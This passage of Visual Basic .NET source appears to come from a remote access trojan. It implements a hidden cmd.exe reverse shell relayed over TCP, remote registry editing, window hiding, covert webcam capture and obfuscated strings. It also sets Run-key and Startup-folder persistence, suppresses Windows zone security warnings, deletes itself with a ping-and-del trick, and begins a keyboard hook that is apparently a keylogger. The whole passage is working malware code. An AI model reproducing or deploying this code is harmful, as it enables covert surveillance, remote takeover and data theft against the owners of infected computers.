  4272.                 Catch
  4273.                     title = "N/A"
  4274.                 End Try
  4275.                 ProcessString &= p.ProcessName & MainModule.SplitMark1 & p.Id & MainModule.SplitMark1 & title & MainModule.SplitMark1 & Path & MainModule.SplitMark1 & p.WorkingSet64 / 1024 & MainModule.SplitMark1 & MainModule.splitMark2
  4276.             Next
  4277.             Return ProcessString
  4278.         Catch ex As Exception
  4279.             Return Nothing
  4280.         End Try
  4281.     End Function
  4282.     Shared Function KillProcess(ByVal PID As Integer) As Boolean
  4283.         Try
  4284.             Process.GetProcessById(PID).Kill()
  4285.             Return True
  4286.         Catch
  4287.             Return False
  4288.         End Try
  4289.     End Function
  4290.     Shared Function GetHandleFromThreadID(ByVal id As Integer) As Integer
  4291.         Try
  4292.             Return OpenThread(&H2, False, id)
  4293.         Catch ex As Exception
  4294.             Return Nothing
  4295.         End Try
  4296.     End Function
  4297.     Shared Function SuspendProcess(ByVal pid As Integer) As Boolean
  4298.         Try
  4299.             Dim AllSuccess As Boolean = True
  4300.             For Each thread As ProcessThread In Process.GetProcessById(pid).Threads
  4301.                 If Not SuspendThread(GetHandleFromThreadID(thread.Id)) Then
  4302.                     AllSuccess = False
  4303.                 End If
  4304.             Next
  4305.             Return AllSuccess
  4306.         Catch
  4307.             Return False
  4308.         End Try
  4309.     End Function
  4310. #End Region
  4311.  
  4312. End Class
  4313.  
  4314. #End Region
  4315.  
  4316. #Region " Registry Managing "
  4317.  
  4318.  
  4319. Public Class RegistryManaging
  4320.  
  4321.     Public Const ItemSubkey = 12
  4322.     Public Const RegistryList = 99
  4323.  
  4324.     Public Shared Sub SendReg(ByVal stuff As String)
  4325.         Try
  4326.             MainModule.Send(Chr(RegistryList) & GetSubkeys(Asc(stuff.Split(MainModule.SplitMark1)(2)), stuff.Split(MainModule.SplitMark1)(3)) & GetValues(Asc(stuff.Split(MainModule.SplitMark1)(2)), stuff.Split(MainModule.SplitMark1)(3)))
  4327.         Catch
  4328.         End Try
  4329.     End Sub
  4330.  
  4331. #Region " GET/Return "
  4332.     Public Shared Function GetSubkeys(ByVal identifier As Integer, ByVal path As String) As String
  4333.         Try
  4334.             Dim reghive As RegistryKey = IdentifyRootKey(identifier)
  4335.             Dim allinfo As String = Nothing
  4336.             If String.IsNullOrEmpty(path) Then
  4337.                 For Each subkeys In reghive.GetSubKeyNames
  4338.                     allinfo += subkeys & MainModule.SplitMark1 & Chr(ItemSubkey) & MainModule.splitMark2
  4339.                 Next
  4340.                 Return allinfo
  4341.             Else
  4342.                 Dim Key As Microsoft.Win32.RegistryKey = reghive.OpenSubKey(path, False)
  4343.                 For Each subkey In Key.GetSubKeyNames
  4344.                     allinfo += subkey & MainModule.SplitMark1 & Chr(ItemSubkey) & MainModule.splitMark2
  4345.                 Next
  4346.                 Return allinfo
  4347.             End If
  4348.         Catch ex As Exception
  4349.             Return Nothing
  4350.         End Try
  4351.     End Function
  4352.     Public Shared Function GetValues(ByVal identifier As Integer, ByVal path As String) As String
  4353.         On Error Resume Next
  4354.         Dim reghive As RegistryKey = IdentifyRootKey(identifier)
  4355.         Dim allinfo As String = Nothing
  4356.         If String.IsNullOrEmpty(path) Then
  4357.             Dim Key As Microsoft.Win32.RegistryKey = reghive.OpenSubKey(String.Empty, False)
  4358.             For Each value In Key.GetValueNames
  4359.                 Dim regkind As Integer = Int(Key.GetValueKind(value))
  4360.                 Dim regvalue As String = Key.GetValue(value)
  4361.                 allinfo += value & MainModule.SplitMark1 & Chr(regkind) & MainModule.SplitMark1 & regvalue & MainModule.splitMark2
  4362.             Next
  4363.             Return allinfo
  4364.         Else
  4365.             Dim Key As Microsoft.Win32.RegistryKey = reghive.OpenSubKey(path, False)
  4366.             For Each value In Key.GetValueNames
  4367.                 Dim regkind As Integer = Int(Key.GetValueKind(value))
  4368.                 Dim regvalue As String = Key.GetValue(value)
  4369.                 allinfo += value & MainModule.SplitMark1 & Chr(regkind) & MainModule.SplitMark1 & regvalue & MainModule.splitMark2
  4370.             Next
  4371.             Return allinfo
  4372.         End If
  4373.     End Function
  4374. #End Region
  4375.  
  4376. #Region " Actions "
  4377.     Public Shared Sub DelRegValue(ByVal identifier As Integer, ByVal path As String, ByVal regname As String)
  4378.         Try
  4379.             Dim reghive As RegistryKey = IdentifyRootKey(identifier)
  4380.             Dim delKey As RegistryKey = reghive.OpenSubKey(path, True)
  4381.             delKey.DeleteValue(regname)
  4382.             delKey.Close()
  4383.         Catch
  4384.         End Try
  4385.     End Sub
  4386.     Public Shared Sub CreateValue(ByVal identifier As Integer, ByVal ValueIdentifier As Integer, ByVal path As String, ByVal valuename As String, ByVal value As String)
  4387.         Try
  4388.             Dim reghive As RegistryKey = IdentifyRootKey(identifier)
  4389.             Dim type As RegistryValueKind = IdentifyValueType(ValueIdentifier)
  4390.             Dim key As RegistryKey = reghive.OpenSubKey(path, True)
  4391.             key.SetValue(valuename, value, type)
  4392.             key.Close()
  4393.         Catch ex As Exception
  4394.         End Try
  4395.     End Sub
  4396.     Public Shared Sub DelRegSubkey(ByVal identifier As Integer, ByVal path As String, ByVal regname As String)
  4397.         Try
  4398.             Dim reghive As RegistryKey = IdentifyRootKey(identifier)
  4399.             Dim delKey As RegistryKey = reghive.OpenSubKey(path, True)
  4400.             delKey.DeleteSubKeyTree(regname)
  4401.             delKey.Close()
  4402.         Catch ex As Exception
  4403.  
  4404.         End Try
  4405.     End Sub
  4406.     Public Shared Sub CreateSubkey(ByVal identifier As Integer, ByVal path As String, ByVal subkeyname As String)
  4407.         Try
  4408.             Dim reghive As RegistryKey = IdentifyRootKey(identifier)
  4409.             Dim key As RegistryKey = reghive.OpenSubKey(path, True)
  4410.             key.CreateSubKey(subkeyname)
  4411.             key.Close()
  4412.         Catch ex As Exception
  4413.         End Try
  4414.     End Sub
  4415.     Public Shared Function IdentifyRootKey(ByVal KeyIdentifier As Integer) As RegistryKey
  4416.         On Error Resume Next
  4417.         Select Case KeyIdentifier
  4418.             Case 1 'HKEY_CLASSES_ROOT
  4419.                 Return Registry.ClassesRoot
  4420.             Case 2 'HKEY_CURRENT_USER
  4421.                 Return Registry.CurrentUser
  4422.             Case 3 'HKEY_LOCAL_MACHINE
  4423.                 Return Registry.LocalMachine
  4424.             Case 4 'HKEY_USERS
  4425.                 Return Registry.Users
  4426.             Case 5 'HKEY_CURRENT_CONFIG
  4427.                 Return Registry.CurrentConfig
  4428.             Case 6
  4429.                 Return Registry.DynData
  4430.             Case 7
  4431.                 Return Registry.PerformanceData
  4432.         End Select
  4433.         Return Nothing
  4434.     End Function
  4435.     Public Shared Function IdentifyValueType(ByVal ValueIdentifier As Integer) As RegistryValueKind
  4436.         On Error Resume Next
  4437.         Select Case ValueIdentifier
  4438.             Case 1 'REG_BINARY
  4439.                 Return RegistryValueKind.Binary
  4440.             Case 2 'REG_DWORD
  4441.                 Return RegistryValueKind.DWord
  4442.             Case 3 'REG_SZ
  4443.                 Return RegistryValueKind.String
  4444.             Case 4 'REG_EXPAND_SZ
  4445.                 Return RegistryValueKind.ExpandString
  4446.             Case 5
  4447.                 Return RegistryValueKind.MultiString
  4448.             Case 6
  4449.                 Return RegistryValueKind.QWord
  4450.         End Select
  4451.         Return Nothing
  4452.     End Function
  4453. #End Region
  4454.  
  4455. End Class
  4456.  
  4457. #End Region
  4458.  
  4459. #Region " Remote CMD "
  4460.  
  4461. Public Class RemoteCMD
  4462.  
  4463. #Region " Declarations "
  4464.     Public Shared cmd As Process
  4465.     Private InCMD As StreamWriter
  4466.     Private OutCMD As StreamReader
  4467.     Private CmdClient As TcpClient
  4468.     Private CmdStream As NetworkStream
  4469.     Private Const RemoteCMD = 8
  4470. #End Region
  4471.  
  4472. #Region " Startup "
  4473.     Public Sub New(ByVal id As String, ByVal host As String, ByVal port As Integer)
  4474.         Try
  4475.             CmdClient = New TcpClient : CmdClient.Connect(host, port) : CmdClient.Client.Send(System.Text.Encoding.UTF8.GetBytes(Chr(RemoteCMD) & MainModule.SplitMark1 & id))
  4476.             CmdStream = CmdClient.GetStream
  4477.             StartCmd()
  4478.         Catch
  4479.         End Try
  4480.     End Sub
  4481.  
  4482. #End Region
  4483.  
  4484. #Region " Actions "
  4485.     Public Sub StartCmd()
  4486.         Try
  4487.             cmd = New Process()
  4488.             cmd.StartInfo.FileName = "cmd.exe"
  4489.             cmd.StartInfo.UseShellExecute = False
  4490.             cmd.StartInfo.RedirectStandardInput = True
  4491.             cmd.StartInfo.RedirectStandardOutput = True
  4492.             cmd.StartInfo.CreateNoWindow = True
  4493.             cmd.StartInfo.WindowStyle = ProcessWindowStyle.Hidden
  4494.             cmd.Start()
  4495.             InCMD = cmd.StandardInput
  4496.             OutCMD = cmd.StandardOutput
  4497.             Dim thr As New Thread(AddressOf ReadCMD)
  4498.             thr.SetApartmentState(ApartmentState.STA)
  4499.             thr.Start()
  4500.         Catch
  4501.         End Try
  4502.     End Sub
  4503.     Public Sub ReadCMD()
  4504.         Dim B() As Byte
  4505.         Try
  4506.             SendStatus("CMD opened successfully")
  4507.             While Not cmd.HasExited
  4508.                 Thread.Sleep(2)
  4509.                 B = System.Text.Encoding.UTF8.GetBytes(cmd.StandardOutput.ReadLine & vbNewLine)
  4510.                 CmdStream.Write(B, 0, B.Length)
  4511.                 B = Nothing
  4512.             End While
  4513.         Catch
  4514.  
  4515.         End Try
  4516.     End Sub
  4517.     Public Sub SendDataToCMD(ByVal data As String)
  4518.         Try
  4519.             InCMD.WriteLine(data + Environment.NewLine)
  4520.         Catch ex As Exception
  4521.         End Try
  4522.     End Sub
  4523.     Public Sub StopCmd()
  4524.         On Error Resume Next
  4525.         InCMD.Close()
  4526.         OutCMD.Close()
  4527.         cmd.Kill()
  4528.     End Sub
  4529. #End Region
  4530.  
  4531. End Class
  4532.  
  4533. #End Region
  4534.  
  4535. #Region " Window Managing "
  4536. Public Class WindowManaging
  4537.  
  4538. #Region " Declare Functions "
  4539.     Private Declare Function SendMessageA Lib "user32" (ByVal Hwnd As IntPtr, ByVal Message As Integer, ByVal wParam As Integer, ByVal lParam As Integer) As Integer
  4540.     Declare Function EnableWindow Lib "user32" (ByVal hwnd As Int32, ByVal nOption As Int32) As Int32
  4541.     Private Declare Function GetForegroundWindow Lib "user32.dll" () As IntPtr
  4542.     Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Integer
  4543.     Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Integer, ByVal hWndInsertAfter As Integer, ByVal x As Integer, ByVal y As Integer, ByVal cx As Integer, ByVal cy As Integer, ByVal wFlags As Integer) As Integer
  4544.     Public Delegate Function CallBack(ByVal hwnd As IntPtr, ByVal lParam As Integer) As Boolean
  4545.     Public Declare Function EnumWindows Lib "user32" (ByVal Adress As CallBack, ByVal y As Integer) As Integer
  4546.     Public Declare Function IsWindowVisible Lib "user32.dll" (ByVal hwnd As IntPtr) As Boolean
  4547.     Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Integer, ByVal lpWindowText As String, ByVal cch As Integer) As Integer
  4548.     Private Shared ActiveWindows As New ObjectModel.Collection(Of IntPtr)
  4549.  
  4550.     Private Const Windows = 11
  4551. #End Region
  4552.  
  4553. #Region " Sending/Recieving Windows "
  4554.  
  4555.     Public Shared Sub SendWindows(ByVal ID As String)
  4556.         Try
  4557.             MainModule.Send(Chr(Windows) & GetWindows())
  4558.         Catch
  4559.         End Try
  4560.     End Sub
  4561.  
  4562.     Public Shared Function GetWindows() As String
  4563.         On Error Resume Next
  4564.         Dim VisibleWindow As String = Nothing
  4565.         Dim inVisibleWindow As String = Nothing
  4566.         ActiveWindows.Clear()
  4567.         For Each i In GetActiveWindows()
  4568.             Dim windtitle As String = GetWindowtitle(i).Trim(Chr(0))
  4569.             If Not windtitle = Nothing Then
  4570.                 If IsWindowVisible(i) Then
  4571.                     VisibleWindow += i.ToString & MainModule.SplitMark1 & Chr(&H1) & MainModule.SplitMark1 & GetWindowtitle(i) & MainModule.splitMark2
  4572.                 Else
  4573.                     inVisibleWindow += i.ToString & MainModule.SplitMark1 & Chr(&H0) & MainModule.SplitMark1 & GetWindowtitle(i) & MainModule.splitMark2
  4574.                 End If
  4575.             End If
  4576.         Next
  4577.         Return VisibleWindow & inVisibleWindow
  4578.     End Function
  4579.  
  4580.     Public Shared Function GetWindowtitle(ByVal hwnd As IntPtr) As String
  4581.         On Error Resume Next
  4582.         Dim Text As String = Space(Int16.MaxValue)
  4583.         GetWindowText(hwnd, Text, Int16.MaxValue)
  4584.         Return Text.Trim
  4585.     End Function
  4586.  
  4587.     Public Shared Function GetActiveWindows() As ObjectModel.Collection(Of IntPtr)
  4588.         On Error Resume Next
  4589.         EnumWindows(AddressOf Enumerator, 0)
  4590.         Return ActiveWindows
  4591.     End Function
  4592.  
  4593. #End Region
  4594.  
  4595. #Region " Actions "
  4596.  
  4597.     Private Shared Function Enumerator(ByVal Hwnd As IntPtr, ByVal lParam As Integer) As Boolean
  4598.         On Error Resume Next
  4599.         ActiveWindows.Add(Hwnd)
  4600.         Return True
  4601.     End Function
  4602.  
  4603.     Public Shared Function FreezeWindow(ByVal handle As IntPtr) As Boolean
  4604.         Try
  4605.             Return EnableWindow(CInt(handle), 0)
  4606.         Catch
  4607.             Return False
  4608.         End Try
  4609.     End Function
  4610.  
  4611.     Public Shared Function UnfreezeWindow(ByVal handle As IntPtr) As Boolean
  4612.         Try
  4613.             Return EnableWindow(CInt(handle), 1)
  4614.         Catch
  4615.             Return False
  4616.         End Try
  4617.     End Function
  4618.     Declare Auto Function SetWindowText Lib "user32" (ByVal hWnd As IntPtr, ByVal lpstring As String) As Boolean
  4619.  
  4620.     Public Shared Function SetText(ByVal handle As IntPtr, ByVal text As String) As Boolean
  4621.         Try
  4622.             Return SetWindowText(handle, text)
  4623.         Catch
  4624.             Return False
  4625.         End Try
  4626.     End Function
  4627.  
  4628.     Public Shared Function WindowShow(ByVal handle As IntPtr) As Boolean
  4629.         Try
  4630.             ShowWindow(handle, 5)
  4631.         Catch
  4632.             Return False
  4633.         End Try
  4634.         Return False
  4635.     End Function
  4636.  
  4637.     Public Shared Function WindowHide(ByVal handle As IntPtr) As Boolean
  4638.         Try
  4639.             ShowWindow(handle, 0)
  4640.         Catch
  4641.             Return False
  4642.         End Try
  4643.         Return False
  4644.     End Function
  4645.  
  4646.     Public Shared Function CloseWindow(ByVal handle As IntPtr) As Boolean
  4647.         Try
  4648.             SendMessageA(handle, &H10, 0, 0)
  4649.             Return Nothing
  4650.         Catch
  4651.             Return False
  4652.         End Try
  4653.     End Function
  4654.  
  4655.     Public Shared Function MinimizeWindow(ByVal handle As IntPtr) As Boolean
  4656.         Try
  4657.             Return ShowWindow(handle, 6)
  4658.         Catch
  4659.             Return False
  4660.         End Try
  4661.     End Function
  4662.  
  4663.     Public Shared Function RestoreWindow(ByVal handle As IntPtr) As Boolean
  4664.         Try
  4665.             Return ShowWindow(handle, 9)
  4666.         Catch
  4667.             Return False
  4668.         End Try
  4669.     End Function
  4670.  
  4671.     Public Shared Function GetActiveWindow() As String
  4672.         Try
  4673.             Return GetForegroundWindow()
  4674.         Catch
  4675.             Return Nothing
  4676.         End Try
  4677.     End Function
  4678.  
  4679. #End Region
  4680. End Class
  4681.  
  4682. #End Region
  4683.  
  4684. #Region " Cam Control "
  4685.  
  4686. Public Class CamControl
  4687.     Const WM_CAP As Short = &H400S
  4688.     Const WM_CAP_DRIVER_CONNECT As Integer = WM_CAP + 10
  4689.     Const WM_CAP_DRIVER_DISCONNECT As Integer = WM_CAP + 11
  4690.     Const WM_CAP_SET_PREVIEW As Integer = WM_CAP + 50
  4691.     Const WM_CAP_SET_PREVIEWRATE As Integer = WM_CAP + 52
  4692.     Const WM_CAP_SET_SCALE As Integer = WM_CAP + 53
  4693.     Const WS_CHILD As Integer = &H40000000
  4694.     Const WS_VISIBLE As Integer = &H10000000
  4695.     Const SWP_NOMOVE As Short = &H2S
  4696.     Const SWP_NOZORDER As Short = &H4S
  4697.     Const HWND_BOTTOM As Short = 1
  4698.     Private Declare Function capCreateCaptureWindowA Lib "avicap32.dll" (ByVal lpszWindowName As String, ByVal dwStyle As Integer, ByVal x As Integer, ByVal y As Integer, ByVal nWidth As Integer, ByVal nHeight As Short, ByVal hWndParent As Integer, ByVal nID As Integer) As Integer
  4699.     Private Declare Function capGetDriverDescriptionA Lib "avicap32.dll" (ByVal wDriver As Short, ByVal lpszName As String, ByVal cbName As Integer, ByVal lpszVer As String, ByVal cbVer As Integer) As Boolean
  4700.     Function DestroyWindow(ByVal hwnd As Integer) As Boolean
  4701.     End Function
  4702.     Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Integer, ByVal Msg As Integer, ByVal wParam As Integer, <MarshalAs(UnmanagedType.AsAny)> ByVal lParam As Object) As Integer
  4703.     Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Integer, ByVal hWndInsertAfter As Integer, ByVal x As Integer, ByVal y As Integer, ByVal cx As Integer, ByVal cy As Integer, ByVal wFlags As Integer) As Integer
  4704.     Private Declare Auto Function GetDesktopWindow Lib "user32.dll" () As IntPtr
  4705.     Private Const DeviceID As Integer = 0
  4706.     Private hHwnd As Integer = 0
  4707.     Private Shared ListOfDevices As New ArrayList()
  4708.     Public ReadOnly Property DeviceCount() As Integer
  4709.         Get
  4710.             Return ListOfDevices.Count
  4711.         End Get
  4712.     End Property
  4713.     Public Shared Sub Loaddevices()
  4714.         Try
  4715.             ListOfDevices.Clear()
  4716.             Dim Name As String = Space(80)
  4717.             Dim Version As String = Space(80)
  4718.             Dim EndOfDeviceList As Boolean = False
  4719.             Dim index As Short = 0
  4720.             Do
  4721.                 EndOfDeviceList = capGetDriverDescriptionA(index, Name, 80, Version, 80)
  4722.                 If EndOfDeviceList Then
  4723.                     ListOfDevices.Add(Name.Trim())
  4724.                 End If
  4725.                 index += 1
  4726.             Loop While Not (EndOfDeviceList = False)
  4727.         Catch ex As Exception : End Try
  4728.     End Sub
  4729.     Public Shared Function HasCam() As Integer
  4730.         On Error Resume Next
  4731.         Loaddevices()
  4732.         If ListOfDevices.Count > 0 Then
  4733.             Return 2
  4734.         Else
  4735.             Return 1
  4736.         End If
  4737.     End Function
  4738.     Public Function OpenConnection() As IntPtr
  4739.         Try
  4740.             hHwnd = capCreateCaptureWindowA(DeviceID, WS_VISIBLE Or WS_CHILD, -400, -300, 250, 180, GetDesktopWindow.ToInt32, 0)
  4741.             If SendMessage(hHwnd, WM_CAP_DRIVER_CONNECT, DeviceID, 0) Then
  4742.                 SendMessage(hHwnd, WM_CAP_SET_SCALE, True, 0)
  4743.                 SendMessage(hHwnd, WM_CAP_SET_PREVIEWRATE, 66, 0)
  4744.                 SendMessage(hHwnd, WM_CAP_SET_PREVIEW, True, 0)
  4745.                 SetWindowPos(hHwnd, HWND_BOTTOM, -400, -300, 250, 180, SWP_NOMOVE Or SWP_NOZORDER)
  4746.                 Return hHwnd
  4747.             Else
  4748.                 DestroyWindow(hHwnd)
  4749.                 CloseConnection()
  4750.                 Return IntPtr.Zero
  4751.             End If
  4752.         Catch ex As Exception : End Try
  4753.     End Function
  4754.     Private Sub ClosePreviewWindow()
  4755.         Try
  4756.             SendMessage(hHwnd, WM_CAP_DRIVER_DISCONNECT, DeviceID, 0)
  4757.             DestroyWindow(hHwnd)
  4758.         Catch ex As Exception : End Try
  4759.     End Sub
  4760.     Public Sub CloseConnection()
  4761.         Try
  4762.             DestroyWindow(hHwnd)
  4763.             SendMessage(hHwnd, WM_CAP_DRIVER_DISCONNECT, DeviceID, 0)
  4764.             DestroyWindow(hHwnd)
  4765.             WindowManaging.CloseWindow(hHwnd)
  4766.         Catch ex As Exception
  4767.  
  4768.         End Try
  4769.     End Sub
  4770. End Class
  4771.  
  4772. #End Region
  4773.  
  4774. #Region " Encryption "
  4775. Public Class Encryption
  4776.  
  4777. #Region "Encrypt"
  4778.     Public Function Encrypt(ByVal pass As String, ByVal input As String) As String
  4779.  
  4780.         Dim AES As New RijndaelManaged
  4781.         Dim Hash_AES As New MD5CryptoServiceProvider
  4782.         Dim encrypted As String = ""
  4783.         Try
  4784.             Dim hash(31) As Byte
  4785.             Dim temp As Byte() = Hash_AES.ComputeHash(ASCIIEncoding.ASCII.GetBytes(pass))
  4786.             Array.Copy(temp, 0, hash, 0, 16)
  4787.             Array.Copy(temp, 0, hash, 15, 16)
  4788.             AES.Key = hash
  4789.             AES.Mode = CipherMode.ECB
  4790.             Dim DESEncrypter As ICryptoTransform = AES.CreateEncryptor
  4791.             Dim Buffer As Byte() = ASCIIEncoding.ASCII.GetBytes(input)
  4792.             encrypted = Convert.ToBase64String(DESEncrypter.TransformFinalBlock(Buffer, 0, Buffer.Length))
  4793.             Return encrypted
  4794.         Catch ex As Exception
  4795.             Return Nothing
  4796.         End Try
  4797.     End Function
  4798. #End Region
  4799.  
  4800. #Region "Decrypt"
  4801.     Public Function Decrypt(ByVal pass As String, ByVal input As String) As String
  4802.         Dim aes As New RijndaelManaged
  4803.         Dim Hash_AES As New MD5CryptoServiceProvider
  4804.         Dim decrypted As String = ""
  4805.         Try
  4806.             Dim hash(31) As Byte
  4807.             Dim temp As Byte() = Hash_AES.ComputeHash(ASCIIEncoding.ASCII.GetBytes(pass))
  4808.             Array.Copy(temp, 0, hash, 0, 16)
  4809.             Array.Copy(temp, 0, hash, 15, 16)
  4810.             aes.Key = hash
  4811.             aes.Mode = CipherMode.ECB
  4812.             Dim DESDecrypter As ICryptoTransform = aes.CreateDecryptor
  4813.             Dim Buffer As Byte() = Convert.FromBase64String(input)
  4814.             decrypted = ASCIIEncoding.ASCII.GetString(DESDecrypter.TransformFinalBlock(Buffer, 0, Buffer.Length))
  4815.             Return decrypted
  4816.         Catch ex As Exception
  4817.             Return Nothing
  4818.         End Try
  4819.     End Function
  4820. #End Region
  4821.  
  4822.     Public Function RXOREncrypt(data As String, key As String) As String
  4823.         Return Convert.ToBase64String(RXOR(System.Text.Encoding.UTF8.GetBytes(data), key))
  4824.     End Function
  4825.  
  4826.     Public Function RXORDecrypt(data As String, key As String) As String
  4827.         Return System.Text.Encoding.UTF8.GetString(RXOR(Convert.FromBase64String(data), key))
  4828.     End Function
  4829.  
  4830.     Public Function RXOR(data As Byte(), keys As String) As Byte()
  4831.         Dim N1 As Integer = 11
  4832.         Dim N2 As Integer = 13
  4833.         Dim NS As Integer = 257
  4834.  
  4835.         Dim Key As Byte() = System.Text.Encoding.UTF8.GetBytes(keys)
  4836.  
  4837.         For I As Integer = 0 To Key.Length - 1
  4838.             NS += NS Mod (Key(I) + 1)
  4839.         Next
  4840.  
  4841.         Dim T(data.Length - 1) As Byte
  4842.         For I As Integer = 0 To data.Length - 1
  4843.             NS = Key(I Mod Key.Length) + NS
  4844.             N1 = (NS + 5) * (N1 And 255) + (N1 >> 8)
  4845.             N2 = (NS + 7) * (N2 And 255) + (N2 >> 8)
  4846.             NS = ((N1 << 8) + N2) And 255
  4847.  
  4848.             T(I) = data(I) Xor CByte(NS)
  4849.         Next
  4850.  
  4851.         Return T
  4852.     End Function
  4853.  
  4854. End Class
  4855.  
  4856. #End Region
  4857.  
  4858. #Region " Installation "
  4859.  
  4860. Public Class Installation
  4861.     Public Shared _fileName As String
  4862.     Public Shared _folderName As String
  4863.     Public Shared _keyName As String
  4864.     Public Shared InstallationPath As String
  4865.     Public Shared Sub Install(ByVal file As String, ByVal folder As String, ByVal key As String, ByVal I As InstallArea)
  4866.         On Error Resume Next
  4867.         _fileName = file
  4868.         _folderName = folder
  4869.         _keyName = key
  4870.         CopyFile(file, folder)
  4871.         Select Case I
  4872.             Case InstallArea.Hkcu
  4873. HKCU:
  4874.                 Dim R As RegistryKey
  4875.                 R = Registry.CurrentUser.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
  4876.                 R.SetValue(key, InstallationPath & folder & "\" & file, RegistryValueKind.String)
  4877.                 R.Close()
  4878.             Case InstallArea.Hklm
  4879.                 On Error GoTo HKCU
  4880.                 Dim R As RegistryKey
  4881.                 R = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
  4882.                 R.SetValue(key, InstallationPath & folder & "\" & file, RegistryValueKind.String)
  4883.                 R.Close()
  4884.             Case InstallArea.StartupDir
  4885.                 IO.File.Copy(Application.ExecutablePath, Environment.GetFolderPath(Environment.SpecialFolder.Startup) & "\" & file)
  4886.         End Select
  4887.     End Sub
  4888.     Public Shared Sub RegPersistence()
  4889.         Try
  4890.             Do
  4891.                 Install(compilerSettings.installationFileName, compilerSettings.installationFolderName, compilerSettings.hkcuServerName, InstallArea.Hkcu)
  4892.                 Thread.Sleep(2000)
  4893.             Loop
  4894.         Catch ex As Exception
  4895.         End Try
  4896.     End Sub
  4897.     Public Shared Sub UninstallServer()
  4898.         On Error Resume Next
  4899.         Dim currentUserKey As RegistryKey
  4900.         currentUserKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
  4901.         currentUserKey.DeleteValue(_keyName)
  4902.         currentUserKey.Close()
  4903.         Dim localMachineKey As RegistryKey
  4904.         localMachineKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
  4905.         localMachineKey.DeleteValue(_keyName)
  4906.         localMachineKey.Close()
  4907.  
  4908.         Selfdestruct(Application.ExecutablePath)
  4909.         If compilerSettings.enableInstallation = True Then
  4910.             If IO.Directory.Exists(InstallationPath & _folderName & "\") Then
  4911.                 IO.Directory.Delete(InstallationPath & _folderName & "\", True)
  4912.             End If
  4913.             File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.Startup) & "\" & _fileName)
  4914.         End If
  4915.     End Sub
  4916.     Public Shared Sub CopyFile(ByVal name As String, ByVal folder As String)
  4917.         On Error Resume Next
  4918.         If Directory.Exists(InstallationPath & folder) Then
  4919.             Directory.Delete(InstallationPath & folder, True)
  4920.         End If
  4921.         If Not Directory.Exists(InstallationPath & folder) Then
  4922.             Directory.CreateDirectory(InstallationPath & folder)
  4923.         End If
  4924.         File.Copy(Application.ExecutablePath, InstallationPath & folder & "\" & name)
  4925.     End Sub
  4926.  
  4927.     Public Shared Sub DisableWarning(ByVal path As String, ByVal name As String)
  4928.         Try
  4929.             Dim proc As New Process
  4930.             Dim startInfo As New ProcessStartInfo
  4931.             startInfo.FileName = "cmd"
  4932.             startInfo.RedirectStandardInput = True
  4933.             startInfo.RedirectStandardOutput = True
  4934.             startInfo.UseShellExecute = False
  4935.             startInfo.CreateNoWindow = True
  4936.             proc.StartInfo = startInfo
  4937.             proc.Start()
  4938.             Dim w As StreamWriter = proc.StandardInput
  4939.             w.WriteLine("echo [zoneTransfer]ZoneID = 2 > " & Application.ExecutablePath & ":ZONE.identifier")
  4940.             w.WriteLine("exit")
  4941.             w.Close()
  4942.             Environment.SetEnvironmentVariable("SEE_MASK_NOZONECHECKS", 1, EnvironmentVariableTarget.User)
  4943.         Catch
  4944.             Try
  4945.                 Environment.SetEnvironmentVariable("SEE_MASK_NOZONECHECKS", 1, EnvironmentVariableTarget.User)
  4946.             Catch
  4947.             End Try
  4948.         End Try
  4949.     End Sub
  4950.     Public Enum InstallArea
  4951.         Hkcu
  4952.         Hklm
  4953.         Explorer
  4954.         StartupDir
  4955.     End Enum
  4956.     Public Shared Sub Selfdestruct(ByVal filepath As String)
  4957.         On Error Resume Next
  4958.         Dim info As ProcessStartInfo = New ProcessStartInfo()
  4959.         info.Arguments = "/C ping 1.1.1.1 -n 1 -w 100 > Nul & Del """ & filepath & """"
  4960.         info.WindowStyle = ProcessWindowStyle.Hidden
  4961.         info.CreateNoWindow = True
  4962.         info.FileName = "cmd.exe"
  4963.         Process.Start(info)
  4964.     End Sub
  4965. End Class
  4966.  
  4967. #End Region
  4968.  
  4969. #Region " Key Hook "
  4970.  
  4971. Public Class KeyHook
  4972.  
  4973. #Region "KeyHook"
  4974.     Public Function ReturnWindowText() As String
  4975.         On Error Resume Next
  4976.         Dim E2 As New Encryption
  4977.         Return E2.Decrypt("IM", "iSauTklmSqJrNgOyjIBmTg==")
  4978.     End Function
  4979.     Private Structure kstruct
  4980.         Public vkCode As Integer
  4981.         Public Scancode As Integer
  4982.         Public flags As Integer
  4983.         Public time As Integer
  4984.         Public dwExtraInfo As Integer
  4985.     End Structure
  4986.  
  4987.     Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Integer, ByVal lpfn As KBPDL, ByVal hmod As Integer, ByVal dwThreadId As Integer) As Integer
  4988.     Private Declare Function CallNextHookEx Lib "user32" (ByVal hk As Integer, ByVal nCode As Integer, ByVal wParam As Integer, ByVal lParam As kstruct) As Integer
  4989.     Private Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hk As Integer) As Integer
  4990.     Private Delegate Function KBPDL(ByVal nCode As Integer, ByVal wParam As Integer, ByRef lParam As kstruct) As Integer
  4991.     Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Integer, ByRef lpWindowText As String, ByVal cch As Integer) As Integer
  4992.     Private Declare Function GetForegroundWindow Lib "user32.dll" () As IntPtr
  4993.     <DllImport("kernel32.dll", CharSet:=CharSet.Auto, SetLastError:=True)> Private Shared Function GetModuleHandle(ByVal lpModuleName As String) As IntPtr
  4994.     End Function
  4995.     <DllImport("user32.dll", SetLastError:=True)> Private Shared Function GetWindowThreadProcessId(ByVal hwnd As IntPtr, ByRef lpdwProcessId As Integer) As Integer
  4996.     End Function
  4997.  
  4998.     Public Event KD(ByVal Key As Keys)
